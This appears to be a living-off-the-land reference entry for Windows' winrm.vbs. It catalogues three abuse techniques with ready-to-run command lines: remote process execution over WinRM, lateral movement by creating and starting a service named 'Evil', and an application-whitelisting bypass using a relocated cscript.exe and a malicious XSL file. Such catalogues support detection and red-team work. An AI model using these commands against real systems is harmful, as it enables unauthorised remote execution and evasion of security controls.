winrm.vbs

type: OSScripts
Script used for manage Windows RM settings

Full path

C:\Windows\System32\winrm.vbs
C:\Windows\SysWOW64\winrm.vbs

Commands

  1. ExecuteUser T1216

    Proxy execution

    winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985

    Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

    os: Windows 10, Windows 11

    Execute: CMDExecute: Remote

  2. ExecuteAdmin T1216

    Proxy execution

    winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985

    Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

    os: Windows 10, Windows 11

    Execute: CMDExecute: Remote

  3. AWL BypassUser T1220

    Execute arbitrary, unsigned code via XSL script

    %SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

    Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

    os: Windows 10, Windows 11

    Execute: XSL

Detection

Code samples

Resources

acknowledgement: Matt Graeber @mattifestation, Matt Nelson @enigma0x3, Casey Smith @subtee, Jimmy @bohops, Red Canary Company cc Tony Lambert @redcanaryco